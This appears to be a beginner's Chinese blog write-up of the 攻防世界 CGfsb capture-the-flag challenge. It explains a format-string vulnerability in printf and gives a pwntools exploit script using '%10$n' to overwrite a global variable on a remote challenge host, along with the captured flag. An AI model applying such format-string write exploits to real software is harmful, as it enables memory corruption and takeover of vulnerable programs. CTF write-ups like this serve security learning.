1.pwn入门新手看完别人写的wp,然后自己写,攻防世界CGfsb格式化字符串漏洞

我们拿到一个文件,扔到linux终端里
checksec一下
在这里插入图片描述我们可以看到这是一个开nx了的32位的文件,我们打开x86ida,按f5查看伪代码,可以看到 这个当pwnme=8的时候 flag 就出来了

在这里插入图片描述我们发现 他的上面有一个printf(const char*)v8 正常的应该是printf(’%s",s), 我们当然可以这样写,但是这样是危险的,会有一定的概率导致 格式化字符串漏洞,
在这里插入图片描述0x41414141便是我们输入的"AAAA",数一下便知道偏移是10
from pwn import *
#q = precess("./CGfsb")
q= remote(‘111.198.29.45’, )
pwnme_addr = 0x0804A068
payload = p32(pwnme_addr) + ‘aaaa’ + ‘%10$n’
#pwnme的地址需要经过32位编码转换,是四位,而pwnme需要等于8,所以‘aaaa’起着凑字数的作用q.recvuntil(“please tell me your name:\n”)
q.sendline(‘suibian’)
q.recvuntil(“leave your message please:\n”)
q.sendline(payload)
q.interactive()
我们可以得到flag
cyberpeace{de92eeef74966be267b94deba7653b9e}

最后我想问几个问题
为什么 要要加AAAA-%p来看偏移 %10&n是什么意思
求大佬指导 感谢

发布了1 篇原创文章 · 获赞 1 · 访问量 214

猜你喜欢

转载自blog.csdn.net/qiudalaojiao/article/details/104199038